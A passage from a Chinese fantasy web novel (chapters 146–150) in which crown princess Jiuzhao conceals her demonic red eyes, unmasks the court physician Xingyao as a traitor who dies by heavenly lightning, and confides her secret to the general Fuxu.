朝野喜气洋洋没几日,她又发觉集议时,总有个别重臣的眉眼透着欲言又止。 她私下遣人暗访, 今朝上朝前,那人来报有了眉目。 九昭正想着回去仔细听个究竟,此刻被嶷山出声拦下,只好旋身坐回去, 问道:“是什么事?” 嶷山持笏的双手不动, 颈项稍弯:“最近在三清天肆虐的留言, 不知有否传入殿下耳中?” “什么流言?” “是关于殿下目覆白绸的真相。” 岂料嶷山如此大胆,又如此不顾九昭颜面。 在殿几位早已听到风声的重臣交换眼神, 目光或隐晦或担忧。 九昭的呼吸跟着停滞了一息, 面上依旧不动声色:“哦?什么真相,爱卿但说无妨。” 掌握刑罚大事, 自身先需立正, 嶷山素来最信奉纲纪法度。 耿直刚硬的性格, 使其区别于他人的遮遮掩掩、支吾难言, 昂然抬首道:“流言皆传, 殿下目覆白绸, 并非哀伤疲惫过甚所致,而是心魔作祟欲念难消,如今魔气入体,双目赤红,才会假借它名稍作掩盖。” 逾越的言语一出,另旁的南神王顿时厉呵道:“嶷山,储君殿下面前,岂容你如此不敬?!” “我并非不敬,而是关切殿下。” 嶷山侧首回望,“诸位不也心存疑惑吗?储君是未来神帝,更是神仙们瞻仰尊崇的表率,倘若心神不清净,放任执念壮大成为心魔,最后一步步跌入魔境——传出去,我们同焚业海那帮败类还有何区别?” “你!” 若说起先的呵斥只为提醒对方,什么该说,什么不该说。 那么在嶷山把话挑破之后,南神王的妙目间便实实在在添了几分怒意。 “无妨,南神王。” 九昭还是没有任何特别的反应。 历练至今,她的身上多了几分肖似神帝的沉稳气度。 这份坦然,令其他暗中观察的朝臣,悬着的心稍微松了松。 “嶷山,你可知流言最先来自何处?” “流言在一清天的三境之中皆有,且存在日渐壮大的趋势,想要溯源,恐怕十分困难。” 嶷山之所以会禀告此事,自然不只为警醒九昭而来,他弯腰行了一礼,道出自己的目的,“臣斗胆,恳请殿下将白绸解落,只要您的双眼并无红意,便可安定众人之心。” 该来的还是来了。 分明已经按兵不动,且派人监视在内鬼身边。 不成想依旧被对方找准时机,将这个秘密传了出去。 还知道散布在一清天,好趁机洗去自己的嫌疑。 不过,内鬼这样做,也算是给她提供了一条出路。 九昭一面思忖,一面将手探向脑后,从容道:“自是可以,不过在解开之前,本殿有个问题想问上神。” 嶷山将玉笏插在腰带,拱手道:“殿下请。” 九昭挑起抹莹然的笑意:“是否在上神心目中,本殿这个储君,实属德不配位。” 她的语调,内里的实意却很重。 嶷山神容不自觉变色:“殿下明鉴,臣并无此意。” “是吗?” 九昭的指尖探了探,寻到白绸一角,轻轻拉出结扣,复笑道,“若今日被流言中伤的,是父神,上神是否也会当殿质问,不顾惜父神的颜面,更不顾惜万万年累积的君臣之谊?” 布料摩挲的窸窣落在她耳边。 好似昆虫在羽化之前,吐丝结茧的声响。 九昭想,内鬼企图以流言织网,将她这位根基不稳的储君困顿成茧,她偏偏不如内鬼的意。 “唯有心中不尊,才会面上不敬。 “这件事,明明有更好的处理方式,你到本殿面前来奏请,难道在大义面前,本殿会回绝于你? “他朝父神醒转,上神可得注意,别在父神面前失了分寸。” 轻飘飘的一番话,不仅说得嶷山哑口无言,在反应过来的南神王带动下,群臣更是陆续跪了一地。 “臣不敢不敬。” “臣不敢不敬!” 最后,不得已,嶷山也跪了下去,叩首认错:“是臣思虑不周,请殿下降罪。” 眼见形式达到自己的预期,九昭停了动作,单手依旧拢在后方:“你也说了,流言起于三境,三境中有两境与沦为焚业海掌控的北境交壤,而三清天内魔族的内鬼始终未除。 “他们与内鬼勾结,说本殿业已入魔,安的什么心,上神竟然半点不明白吗? “魔族想的便是三清天互相猜忌,先起内乱,这样便能内外夹击,慢慢瓦解我们——就算瓦解不成,在父神苏醒前闹得四分五裂,也再无实力能与他们抗衡。” 她做出失望的模样,沉沉叹出口气,“自证双眼是否赤红,尚算容易,那么来日再传出别的流言呢? “若需要用命来证明自己是否忠于三清天,嶷山上神也要当殿协众威逼?” 这一个又一个的道理呈现出来。 嶷山的冷汗自额角涔涔而落,甚至濡湿了后背的锦袍。 他意识到九昭所言不错,是帝座昏迷之后,自己的心态没有摆正。 总以为对方还是过去那个荒诞恣意的神姬,才会甫一听到流言,就信了五分。 九昭的话不可谓不重。 协众威逼,若君上非要计较,应该当即施刑下狱。 天子之怒,伏尸百万。 半个天子之怒,他们亦承担不起。 在殿的群臣,地位高如神王上神,通通俯首在地,战战兢兢,不敢大出气。 一声布料扯开的响动之后,细长的白绸被九昭猛地掼在了嶷山脚边。 她寒声道:“本殿已解下覆目之物,要验证是否为红瞳,你们抬头直视便是!” 抬头直视。 谁敢? 嶷山逼迫储君当众自证已是大罪。 要检查瞳孔的情况,就要与九昭对视。 那也是不敬犯上的罪过—— 可她如此坦荡,若真双眸有异,谁又敢如此坦荡无畏地解开? 又是一番山呼的“臣等不敢以下犯上”过后,九昭只听见砰砰狂跳的心脏搏动声。 她睁着赤红的双瞳,向下望去,但见头顶的各色峨冠,不见任何窥探检验的眼。 她知道自己赌对了。 “本殿已查明了内鬼为何人,料想这等流言也是她放出,届时自会给你们个交代。 “退下吧。” “是。” 群臣行礼弯腰,鱼贯而出。 整个过程中,依旧无人抬头。 …… 集议结束,九昭照例来看神帝。 白绸重归她的两眼之间,随着身形走动,末端与发冠的珠玉辉映,一片柔美飘逸之态。 “本殿有事要与杏杳仙官单独说,你们先下去。” 双方远离神帝的寝床,在靠窗的茶案前面对面坐下。 九昭问道:“父神的情况怎么样了?” 或许是自己也为千篇一律的回答感到不好意思,杏杳面带沉思地替她添上一盏茶水。 方说道:“微臣无能,依照目前的情况,始终无法做到两全。” 九昭捕捉到她的话里有话,遂问:“你的意思,是两全不行,单独保全父神就可以?” 杏杳露出一个明显带着谎言的笑容:“是,是啊,有众位上神在,总能克制毒性的蔓延——” 九昭抢白她:“这些话你都同我说过,不要兜圈子。” 话音遽然被打断,杏杳的指腹有一下没一下摩挲着茶壶刻纹的表面,复陷入沉默。 良久,她像是积聚够了勇气。 正色对九昭说道:“殿下,其实这些天臣为了弄清楚烛龙毒,翻遍了神医署所有压箱底的古籍,终于找到一本医书,或许能够彻底祛除帝座体内的毒性,让他恢复健康,甚至更胜从前。” 九昭挑起眉峰。 隔着白绸,杏杳依然能够感觉到从内投射而出的审视目光。 用“如芒在背”形容并不为过。 言语总不及真实的记载叫人信服。 杏杳顿了顿,从储物戒中掏出一本,看外形就散发着陈旧气息的书册。 九昭拿了过来,发散仙识一“看”—— 上书标题:《岐黄禁术志》。 147| 第147章 ◎“父母之爱子,自然为其计深远。”◎ 《岐黄禁术志》被九昭信手搁在案上。 见她并无翻开的意思, 杏杳心领神会道:“殿下如今双目受损,浏览不便,就由臣来代为解释。” 说着, 她倾身过去。 带动九昭的手指翻到对应的、被她折起一角的那页。 而后道:“这页的迭命术, 是臣目前唯一找到的,能够让帝座康复如初的方法。否则,烛龙之毒在帝座体内潜伏良久,哪怕真的被臣研制出解毒丹药, 已经侵染入肺腑的部分,也会极大损害帝座的寿数——” 杏杳这番言论,九昭曾在南神王那头同样听到过。 为此她才心急如焚。 虽说有着一个月的期限, 但只要无法祛除毒性,每过一天都会对父神的身体造成无法估量的损伤。 她默不作声,示意杏杳继续说下去。 “迭命术,顾名思义, 需要找到一个同为上神, 与帝座五行相同的人, 来实施此术,一旦成功, 不仅是帝座身上的烛龙之毒, 哪怕其他暗藏的隐患,也会被此人悉数吸收, 帝座便能康复如初。” 抛弃增添的无数修饰词。 迭命术用简单的四个字概括, 就是“以命换命”。 为着条件严苛的前置, 三清天能够选择的人寥寥无几。 夜神夕寰算一个, 此外唯有西神王流戈。 他虽名义上只位列天仙, 实则早有晋升的实力——成神总有失败的风险, 先前他不曾确立继承人,如今好容易选定瀛罗,又于顷刻之间失去爱子,再叫他为换命给神帝而去冲击神境,实在是有违仙道。 话说回来,哪怕没有这层顾虑。 命为三清天鞠躬尽瘁,奉献一生的上神舍出自己的性命,又何其残忍。 觑着九昭下意识变幻的神色,杏杳接着说道:“殿下,这只是对外人的要求,若是血脉相连的骨肉至亲,亦或者互相缔结元神之契的夫妻伴侣,就没有那么多讲究了,以仙对神,亦能够、能够完成换命。” 相比起先的流利,说后半截时,特别是末尾,杏杳的声音越来越小,“这些话,臣本不该告诉殿下,只是臣也算与殿下同阵营共患难过,这种重要的事情,还是应该由殿下您来思忖决定才对。” 九昭的双眸,从书页上移开,落在眼前医仙的面孔。 白绸的存在,模糊了杏杳的表情,也掩去了她瞳孔深处的微光。 人与人相处,一开始并不交心。 她与杏杳时常斗嘴,心底却十分欣赏她的个性,只觉得洒脱正直、处处投契。 倘若这层白绸永远不曾撤去该有多好—— 无声感叹过一句,九昭啪地将书合上,心平气和道:“如此说来,想救父神,唯有本殿和夜神能做到。” 杏杳没有说话。 九昭注视着她的眼眸:“此外,你应该清楚,天令有言,私用禁术者,论罪当严惩。” “研制解读药丸之事,臣定会尽力。” 杏杳嗫嚅道,“不愿令殿下失望,这也是臣在没办法里找到的办法。” “好,本殿知晓你的心意了,容我回去再仔细想想。” 九昭不信杏杳对于自己今日到来的目的一无所知。 紧急祭出这本禁术志,无论打得什么主意,总归有些想转移注意力的意思。 可箭在弦上,注定九昭不会再被她牵着鼻子走。 她轻描淡写,把话题敷衍过去,又收起《岐黄禁术志》放入储物戒中。 无数杏杳略显讶异的眼神,她倏忽握住她搁在案面不远处的手腕:“今日我来,其实是有件事想问你。” 话音入耳,杏杳视线一瞬发直。 她静了几息,被九昭抓住瞬间意欲撤回的手,在僵硬过后,带着一丝终于还是走到这步的意味垂落。 察觉到对方放弃抵抗,九昭也跟着放缓指间的力气。 “那日的事,你叫在场之人皆立下血誓。 “彼时本殿沉浸在自己的心绪里,未曾注意监督完他们的你,是否不小心遗漏了自己。” 拨开杏杳的衣袖,九昭用细腻指腹来回摩挲着她的手腕内侧,“如今三清天内流言四起,本殿双目受伤的真相被传得到处都是,本殿想要确认下你手腕上的血誓印记,不知你是否介意。” “……殿下是不相信我吗?” 仿佛有些感到受伤,杏杳轻声询问。不等九昭回答,她直接使出十成力气,挣开桎梏,将手腕翻转过来,“兹事体大,臣怎敢忘记发誓,殿下不相信,臣也没什么好辩解的,叫事实来证明便是。” 没有布料遮盖,那纤细手腕赫然显露在九昭眼前。 深紫色印记透过白绸彰显强烈的存在感,而其上散发的誓言生效气息,更源源不断袭向九昭的灵台。 再度散出仙识探查片刻,九昭的指尖仍留于其上缓慢抚摸。 耳畔,杏杳略带委屈的声音闯了进来:“若殿下还不相信,认定是臣将流言传出去的,索性将臣下狱!” 如此情真意切、真情实感。 再加上完美的血誓印记。 以及完美的忠诚被质疑者屈辱反应。 不知为何,九昭突然想笑。 她克制即将因嘲讽扬起的唇角,问道: “当年仙魔战场上,被你毒杀的那名凤凰族将领,是叫歧鸣,对吗?” 杏杳脸上的忿忿表情忽得顿住。 九昭接着说道:“他也是曾与你有过婚约的未婚夫婿,你亲手杀了他。” 这些都是发生在过往的事实,甚至因着杏杳大义灭亲的忠义,曾在三清天被当成榜样大肆宣扬过一段时日——不是谎言或者世人未闻的秘密,就无需通过对方的神容变化来区分真假。 九昭将手收回,转手往青瓷盏里倒了杯冷茶。没想好是留在自己这里,还是递出去,她就听见杏杳兀自镇定的询问响起:“陈年往事,臣已经拿行动向三清天表明忠诚,怎的殿下又重新提起?” “别紧张,本殿不过随便问问。 “你治疗父神半日也累了,要不要喝口茶松泛松泛?” 最后,九昭还是把茶盏递向了对面。 茶盖离开杯面的磕蹭声,如同正在隐秘发生波动的情绪。 耐心等待杏杳顺从自己的心意,饮下一口茶水,九昭用的仍是副老友唠家常般的口吻:“本殿记得,血誓每立下一条,都会在腕上留下对应的痕迹——所以他们也会说,为了手上不长满紫癜,不要轻易发誓。 “你这块紫癜,倘若本殿猜得没错,应是当日父母迫你立下的,有关歧鸣的血誓吧?” 这一猜测,着实唬叫人错愕。 颇有种语不惊人死不休的意味。 九昭想象中的喝水被呛的疯狂咳嗽声虽不曾响起,但杏杳那头也停了啜茶的动静。 她旋即露出一个虚浮的笑容,歪头装作不解道:“殿下,您究竟在说些什么?若令血誓发生作用的对象是那凤凰将领,他早在万年前就已死去,失去了约束者,臣手腕上的紫色印痕怎么可能还存在?” 九昭也跟着笑了笑:“仙魔相恋本就为三清天所不容,哪怕在凤凰族叛天后火速退婚公开指责,依旧有曦葵这一先例在前,为了护住你的安危,强迫你哪怕歧鸣死去,也不得在任何人面前吐露对他的爱意—— “父母之爱子,自然为其计深远。” 随着设想一点一点被铺开,杏杳握在盏沿的手指越收越紧。 她企图负隅顽抗:“这些皆是殿下的猜测,我们的婚事为两方父母做主,我对他的感情岂会——” “就几日前殿内发生的事,要检验你有否立下血誓是很困难。 “毕竟我不可能让你一边承受天谴,一边说出保密内容,那样实非明主所为。” 冷不丁出声将杏杳的辩解打断,唇角虽微微勾起,九昭的眉目已然冷淡下去,“可要验证另外一点,就十分容易了——只要你当着本殿的面,说一遍‘你心悦凤凰族歧鸣’。 “照你所言,誓言无关对方,自然什么事都不会发生。 “这个办法保你性命无虞之外,也洗脱了你有可能是三清天内鬼的嫌疑。” “臣——” “你要想清楚,再回答。” 九昭眯了眯眼睛,加重咬字,再一次警醒她。 148| 第148章 ◎“别活在虚幻的世界里了。”◎ 杏杳登时不说话了。 难堪的阒寂于寝殿内蔓延开来, 无声胜过有声。 罪行的真相早在她顾左右而言他,反复辩驳就是不肯证明自己时,尘埃落定。 尽管提前做过了心理准备, 九昭还是有种说不出的感慨和失望。 那些她为数不多相信的人。 瀛罗为了守护她, 永远离开了她。 而祝晏和杏杳,通通背弃了她。 现实总是狠狠给她一计耳光,告诉她,那些她所珍视的感情全都是错误的。 或许是时候该结束了。 这般想着, 九昭抬手离开茶案,打算捏碎藏在袖口中的信物。 对面长久不语的矮个医仙,却突然开始说话: “我杏杳, 爱着歧鸣,从始至终,都爱着他。” 九昭一怔。 她,怎么就如此轻描淡写地说出口了? 难道是自己想错了? 来不及做出反应的间隔里, 一道闪烁电光的落雷倏忽凭空出现在杏杳头顶。 隔着白绸, 九昭依然感觉到刺痛双目的热意。 杏杳一动不动, 全无躲闪的意思。 好似浑然不觉。 她定定望着九昭,又仿佛穿透九昭的身体, 在缅怀某段已失去的往昔。 轰隆一声。 象征天谴的落雷没进杏杳头顶, 传来淡淡的皮肉被灼烧过度的焦味。 天道降下惩罚,并非一下就结束。 而是持续不断地施刑, 直至将人劈到神魂皆散、灰飞烟灭。 一旦开始便不能停止, 哪怕上神也不具备逆天之力。 九昭本也没打算要将杏杳杀死。 按照她的设想, 靠近昔日凤凰族领地的烈火囚牢, 将会是杏杳余生的归处。 看着对方如此决绝的行为, 她失声道:“承认罪行即可, 你这又是何苦呢?” 雷罚带来的剧痛,足以令常年苦修的仙族意识崩溃。 杏杳咬牙忍耐,双手死死抓紧茶案,试图借此支撑身躯不掉下去。 她的声音含血带泪,呈现出无比浓郁的情愫: “那年留春宴、遥遥初遇,我对歧鸣、对他一见钟情,回去便请求父亲与母亲做主。 “他笑起来,是那样好看,虽是凤凰族长老的、公子,却没有任何大贵、贵族的骄矜之气。 “为了不堕我的名声,父亲母亲、只对外宣称,这婚事是由,双方亲长作主决定。 “可我私下里,夜探凤凰族领地,和他在一起了无数次—— “族中仙力深厚的仙长们,知晓我们婚前往来的秘密,却装作、不知晓,乐得成全我们。 “那是我人生中,最美、美好的时光。” 纵使刑罚加身,杏杳在叙述整场爱恋经过时,浑身上下都透着一种发自真心的温柔与宁静。 仿佛有真挚的情感作为支撑,便可以无视世间一切的苦难。 抿紧嘴唇,九昭默默地倾听着她交代“罪行”。 然而,大都好物不坚牢,彩云易散琉璃脆。 在回忆完少年少女的倾心以待之后,杏杳哇得呕出一口血,挺直的肩膀逐渐佝偻: “然而,巫劭不堪承受被人横刀夺爱的屈辱,连带着他所统领的凤凰族、决定一同叛天—— “其实,没有办法不是吗,很多人都、都没有办法……作为和种族割裂的异类,留在三清天,难道就会、会有好日子过吗?单看重新归于仙族阵营的、九尾狐们,便知晓了。 “还有、还有曦葵将军。” 轰隆、轰隆。 雷声仍在持续。 咧开嘴,挂着淋漓的血迹,眉毛因痛狠狠蹙起的杏杳,冲九昭露出一抹笑。 她的脸色是苍白的,更衬得齿关上的鲜红惊心动魄。 “殿下应该不清楚吧? “曦葵将军,根本不是什么、大义灭亲,她是没办法了,被三清天逼着,跟魔族的爱侣同归于尽的。 “但凡跟、魔族挂钩,谁都不会有好下场——正是有了、这个前车之鉴,父亲母亲为了、为了保护我的安全,逼着我放弃婚约,逼着我,立下哪怕歧鸣死去,也不能将对他的爱意宣之于口的、血誓。 “最后,他们又以性命为胁,迫我跟随仙军上战场,毒杀了、无论如何、都不会伤害我的、歧鸣。” 木本就害怕火。 至烈至阳的雷罚劈毁了杏杳的灵台,焚干了她的血肉。 黑糊的焦味越来越浓烈。 浓烈到九昭喉头抽搐,几欲作呕的地步。 没有什么是比眼睁睁看着亲近之人,在自己面前失去生命更残忍的了。 她摊开手掌,用力摁住脖颈,企图阻止身体自发产生的共鸣行为,忍不住询问: “为了一个男人,赔上自己的一生,你认为值得吗?” “不,不单是为了男人!” 奄奄一息之际,杏杳的嗓音却猛地拔高,爆发出无与伦比的激烈情绪,“你根本不明白!是整个充斥着罪恶、伪善和成见的三清天让我窒息!从曦葵到巫逐,再到我,九昭,难道你还看不透吗?!” 陡然从他人口中听见,许久不曾被提起的名字。 九昭福至心灵:“巫逐——他也是你们谋划的一个环节吗?” “是啊,哈哈哈哈哈……” 杏杳一阵大笑,夹杂内脏碎块的血液,如决堤的河流般不断从她口中涌现,“治好祝晏的病,需要用到涅槃凤火,而复活凤凰神树,需要用到巫逐的颌下珠,以神帝的多疑个性,怎么也会将颌下珠拿去检查。 “于是,那凝结着烛龙毒液精华的颌下珠,就这样不知不觉渗透进了神帝的皮肤里。” 九昭的脸色好似暴风雨来临前的天空: “巫逐被我打败后,就与我签订了血契,活在我的灵台里,你们是怎么和他联系上的?” “你只不过是天仙,而他是半神,血契并非一瞬生效,而需要一个过程,你伤重昏迷,以为有血契在便万事大吉,却忘了关上牢狱的大门,西极寒铁桎梏了巫逐的神力,牢狱流转的法阵阻隔的则是他的神识。 “神识得到自由,他循着作为巫劭坐骑时的一丝元神牵系,找到了远在万里的兰祁——” 后面的话,无需杏杳多言。 联系到旧主,算计三清天的阴谋也随之展开。 原来,桃林里,巫劭所说的,神帝中毒由她亲手所下,竟然是真的—— 是自己的疏忽,害了父神,害得三清天变成如今的局面。 九昭神魂震动,无言地问出一句:“……可祝晏,他为何要如此恨我?” “你为祝晏治疗的时候,就没在他体内感受到过什么异样吗?” 杏杳彻底无力地伏倒在茶案上,唯有神情嘲弄,“他的母亲,才是崇黎王、毕生所爱,而她真实的身份,并非什么卑微不入流,被扔在后院角落无声死去的仙奴,而是焚业海赫赫有名的一方城主。” “不、我不信—— “九尾狐族回归三清天时,人人做过魔气查验,重黎王的妾室,也是在北境生下的祝晏。若她是魔族,不可能通得过查验。更何况,为了防备九尾狐族与焚业海勾结,每名新生儿都要重新经历一次魔气查验!” 对话发展到当下,难以接受祝晏是神魔混血的真相,九昭也失去了端持和风仪,开始高声反驳。 杏杳却是沉沉一笑,不再把这个撕开口子的真相,再继续撕扯下去。 终末的雷罚劈下。 她微光明灭的瞳孔彻底失去神彩。 譬如风干陶土般的裂痕,横亘在她的面孔。 不知名的微风一拂,褪去颜色的躯壳轰然碎裂开来,化为晶粉,消失在天地之间。 …… 殿内,案前,九昭倔强挺直的肩膀佝偻了下去。 她用手捂住面孔。 耳边回响着,杏杳留在这个世间的、最后一句,透着无尽嘲讽的反问: “九昭,别活在虚幻的世界里了,你以为神帝真的很爱你的母亲吗? “你以为一切事情发展至今,没有他的算计吗?” 149| 第149章 ◎“也是人群里那轮最明亮的烈日。”◎ 紧闭的寝宫大门打开, 九昭缓缓走了出来,面容带着清晰可见的疲倦。 门外空无一人,戍守的仙兵和随侍的仆婢们不知去了何处。 唯余远方的云霞悠然悬挂在穹宇, 宁静如同隔世。 九昭静立片刻, 任凭天风拂荡而至,吹散鬓发,才探手入袖中,将隐藏多时的信物捏碎。 “出来吧。” 她轻轻启唇。 眼前的空气陡然产生波动, 一身铁甲戎装的扶胥先行现身。 紧接着,是他下令,埋伏在寝宫四方的二十名近卫。 他们身怀任务而来, 甫一露面就迅速聚拢,做出迎敌的姿势。 与其严阵以待阵仗相反的,九昭垂落脖颈,倦怠摆了摆手:“不用抓捕了, 方才经由本殿审问, 内鬼自知大势尽去, 为了不落在三清天的手里暴露魔族机密,干脆借助天谴自裁, 此刻已魂飞魄散。” 望着她无声抿紧的双唇, 扶胥会意吩咐道:“你们先回军署待命,今日之事不得向任何人提起。” “是, 上神!” 一众男女近卫转眼撤去。 而将他们唤来此地的军长, 却丝毫没有离开的意图。 神光自扶胥掌心释放, 解除身上的甲胄状态, 被风吹起的墨绿色衣摆随即撞入九昭眼帘。 有时候, 心照不宣的默契便是如此。 无需多言, 他也懂得当下她需要自己在身边。 不多时,九昭提出邀请。 她隐去“本殿”这一尊卑感分明的自称,低声说道:“陪我去澄心池边走走。” …… 这么多年,九昭心情不好还是爱来这里。 最好赤脚踩在柔嫩的草地上,身后是青翠葱茏的碧落神树,眼前是碧波无烟的池水澄清。 可惜她不再是过去那个年幼天真的神姬。 储君的身份,不允许她做出脱去鞋袜,放肆奔跑打滚的行径。 沿着占地广阔的池沿慢悠悠地走着,那种慰藉心境的舒适感也大打折扣。 扶胥素来沉默寡言,不能指望他说出什么讨喜的话。 走着走着,九昭的思绪又陷落下去。 从杏杳那里得知许多事的真相,她却觉得弹指掉进了更大的迷局。 特别是杏杳临终的最后一句。 ——你以为神帝真的很爱你的母亲? 九昭一出生就失去母亲,见识过的父母恩爱场景,唯有兰祁脑海里的那些。 或许不曾亲眼见证,应当抱有怀疑态度。 可三清天皆言,神帝为神后甘愿三千弱水,只取一瓢饮,是何等的情深义重。 倘若这都是假的,那还有什么是真的。 ……还有父神中毒的原因。 要不是她为了一点证明自身的私心,隐瞒了巫逐未死,且与自己签订血契的事实,父神也能够在得知之后提前做好防备,识破焚业海的阴谋诡计——那么后续的一切,也不会发生。 越是想得深入,困惑和内疚越是喷涌无尽。 两种情绪将九昭由头至尾淹没,直到身旁扶胥的询问冷不丁响起: “殿下,你是故意让臣听见的,对吗?” 青年的声音如同湍急河面飘来的浮木,让九昭从记忆里带出。 没有否认,她始终微低脑袋,无关喜恶地说着:“杏杳医术高超,作为神医署之首素来德高望重,若我在证据不够明晰的情况下,贸然将她押解入狱,那些受过她恩泽的神仙们肯定会提出异议。 “唯有叫她亲口承认,且有我以外的旁人作证,才能令众仙心服口服。” 神帝所居的三清天,处处皆有最高阶的神术阵法存在。 按理说,哪怕身份高如扶胥,也无法私自窥听。 当他埋伏在门外时,就发现常年流转的阵法,未知何故陡然消失。 取而代之的,是次一级别的,仅能隔绝神位以下的仙阶们的仙力屏障。 也就是说,屏障只对扶胥带来的近卫们有用,却对扶胥本人无用。 整个过程里,扶胥听完了应该听的,更听完了不该听的。 他见九昭顾左右而言他,装成不明白的样子,索性趁着四野无人把话点明:“还有你的眼睛。” 停顿几息,扶胥悄然观察着九昭骤闻此事的神情变化。 却瞥见一片波澜不惊的平静。 他只好继续下去:“紫微宫内,因不胫而走的流言,你大义凛然,呵斥群臣,实则确有其事,对吗?” 九昭忽得停下脚步。 过去千年,扶胥习惯了她说变就变的心情。 以为自己的直言不讳触怒了对方,他紧跟上去一步,站在不会过于亲密,九昭又能伸手打到的位置。 谁料九昭是转身面对他伸出了手。 不过不是来揍他,而是探向脑后,解开了成日不离眼的白绸。 熠熠生辉的黑色眼仁不复,一双近乎魔魅的红瞳猝不及防摄住了扶胥的心神。 他的眸光溢出惊讶,安静了足足十转呼吸,方问:“殿下……你的心魔已经严重到这种程度了吗?” 既然选择坦诚以待,九昭也无谓隐瞒身体的异样。 她将神帝给予的半身神力,以及巫逐的魔气混入自己体内的经过一一告知。 话音未落,被扶胥猛地扣紧手腕,一缕神力登时输入其中。 九昭没有反抗,无奈地别开面孔:“你探查不到的,那股魔气跟随父神予我的神力,一同被封印在丹田中——若我不释放神力,魔气便无迹可寻。可想要在你面前顺利释放神力,我迄今为止也没有任何把握。” 说着,她勉力尝试几次。 没到危机时刻,那神力存于丹田深处,毫无反应。 她有些气馁,说道:“你看,我暂时没办法证明,你是不是不相信我,觉得我只是为心魔找的托辞。” 是有不少神仙存在执念。 少数执念会积聚成为心魔。 但大多在受控范围内,三清天的储君被心魔影响,以至于呈现入魔征兆。 真相一旦被放出去,她这个心怀恶念,难以自控的储君,无论如何都当不下去。 问完话,没来由的紧张接替了其他情绪,九昭不敢抬头去看扶胥的脸。 时间一点一点流逝。 久久得不到青年的回应,她一咬牙,双手握住对方掩在衣袖下的手:“父神昏迷,我坐在储君的位子上步步维艰,之所以对你说出真相,也是因为相信你忠诚正直的个性。 “阿胥,一日夫妻百日恩,我连连遭逢背叛,再加上出了杏杳是内鬼这档子事,三清天剩余的那些上神和神王,我不知他们深浅,更不敢全然相信——眼下,唯一可堪托付的,也只有你了。” 九昭的剖白半真半假。 在诸多不确定中,她唯一能够确定的,是自己在赌。 而赌注早在她命扶胥为内鬼的抓捕者时就已落下。 或许,还要更前一些。 在扶胥战胜归来那晚,他对她说出“殿下的眼睛很美”之时。 …… 所幸在无数不幸里,接连两次她都赌对了。 扶胥终于开口说话。 他没有抽出自己落在九昭掌心的手,沉沉问道:“接下去,殿下预备怎么做?” 不被一口回绝,事情便成功了一半。 九昭心下微喜,飞快说了下去:“过几日,我会在集议时向众仙宣告杏杳为焚业海内鬼一事,并将她背叛的缘由以及伙同巫劭,在我长乐命牌上动的手脚一一说明,届时还请阿胥你为我作证。” 说完公事,然后是私事。 她咬着下唇,复将隐含希冀的面孔半抬起来,“至于红瞳,我这些日子尝试了很多方法,都没法将它们全然掩盖。实在不行,我只能试试提前冲击神位了,毕竟只要顺利成神,就能拥有一次净化神魂的机会。” 扶胥想也不想驳回:“殿下作为储君,怎可如此胡闹!” 他的语气不自觉地用上了对待亲近之人时的严厉和关切。 察觉到九昭瞳孔里添了一丝委屈,又缓和态度,对她解释道:“冲击神位,须以最佳状态,殿下又不是不知道一旦冲击失败,便是灰飞烟灭的结果——怎么可以为了消除体内魔气,就以赌上性命作为代价。” “那我能怎么办,我一点办法都没有了。” 九昭苦笑,“红瞳的秘密被公开,我也落不得什么好下场,不是吗?” 扶胥见过她大笑的模样、发怒的模样、勇往直前的模样、倔强到底的模样—— 她永远如同亮烈桀骜的太阳,将自身的光芒投射到所有人眼中,灼热到以至于常常将人烫伤。 可困顿在储君的高座上。 骄傲如太阳,也逐渐失去了融化万物的温度。 妥协、无奈、认命。 当这些词汇化作表情,出现在九昭的面孔上时。 扶胥感觉到自己勉强归于冰冷的心脏,剧烈跳动到刺痛的地步。 于是,他只能回到当初冲击神位的状态,将身体、灵魂、情绪、理智全然置之度外。 他近乎奋不顾身地说道:“这件事,交给臣来做,臣常年同魔族作战,知晓他们有一种能够暂时掩藏魔化特征的必要,由于原材料十分珍贵且功能特殊,焚业海很少将其外传,臣也是偶然探知的。 “臣知道要去哪里得到这种药,待臣回去交代完近卫之后,便立刻秘密回到边境,殿下等臣几日。 “可不可以?” 说到最后,他甚至用上了哀求的语气。 “……” 咬入皮肉的齿关陷得更深了些。 九昭的红瞳中涌动着一种叫扶胥看不明白的暗光。 “你为什么要这么做? “你难道不明白,帮我等同于——” “我很明白。” 她的询问被扶胥打断。 这也是今日以来,他第一次没有用上“臣”的自称。 他最终也没有把盘桓在心底许久的话说出口,只露出一点微笑,“看人不能光看些表面的东西,比起她说了什么,我看到的更是她做了什么……哪怕你真的入魔,在我眼里,也是人群里那轮最明亮的烈日。” 150| 第150章 ◎“驯化死狗。”◎ 神医署医仙令杏杳为焚业海内应。 被九昭神姬发觉后拒不受捕, 自刎于三清天神帝寝宫。 此事一出,引起轩然大波。 纵使有履行抓捕职责的扶胥上神出面作证,各方依旧议论纷纷。 在搜查杏杳位于南陵的住所无果后, 九昭想到了她的另一处居所。 她派了一队仙兵下界, 找到掩映在芸生世竹林深处的古旧高脚楼。仙兵们逐寸敲检,毫发无遗,不放过每一个细节和角落——所幸功夫不负有心人,终于在靠窗的药柜后面摸见了个不起眼的机关。 摁下机关, 类似兰祁辟于灵泉宫的暗室一般的空间暴露出来。 秘密但凡撕开一个口子,后续就无法再隐藏下去。 仙兵们从中找到许多焚业海不外传的术志医典,还有与原北境神王崇黎来往的书信。杏杳内鬼的身份被彻底坐实。铁证曝露在那些受过恩惠, 蠢蠢欲动想要提出质疑三清天群仙面前,他们彻底闭上了嘴。 其中,作为南陵之首的琼英王更是上表请罪,直言自己疏忽大意, 竟未察觉杏杳包藏祸心的过错。 集议时, 九昭特地将此事点出, 将其一通好言劝慰,还大度体谅了先前不敢相信杏杳是内应的臣子。如此, 先前传播在三清天的流言被视为离间仙族的阴谋, 不攻自破,九昭在重臣间的风评更上一层楼。 扶胥打了胜仗, 潜藏于内的细作亦被消灭。 仙族面临的难关似乎已然渡过, 众人沉浸在接下来的日子会越来越好的喜悦中。 唯有九昭夜半揽镜自照, 面对自己的红瞳深感危机加重。 继续这样覆眼下去, 终究不是办法。 她只能一边于白日若无其事上朝处理公务, 一边于黑夜心急如焚等待扶胥那头的消息。 …… 轮到如何处理杏杳的遗物时, 督办仙官们犯起了愁。 照道理,背叛三清天之人留下的一切东西都应该集中焚毁,以免其中有所夹带。 可杏杳医术深妙,千万年来撰写了不少行医典籍,倘若将它们全部毁去,也是十分可惜。 九昭沉思良久。 她对杏杳临终前的话仍然耿耿于怀。 便命人将所有的东西都搬进了离恨天,下令待检查过后,有益于医病救人的通通保留。 她先从杏杳和崇黎往来的书信看起。 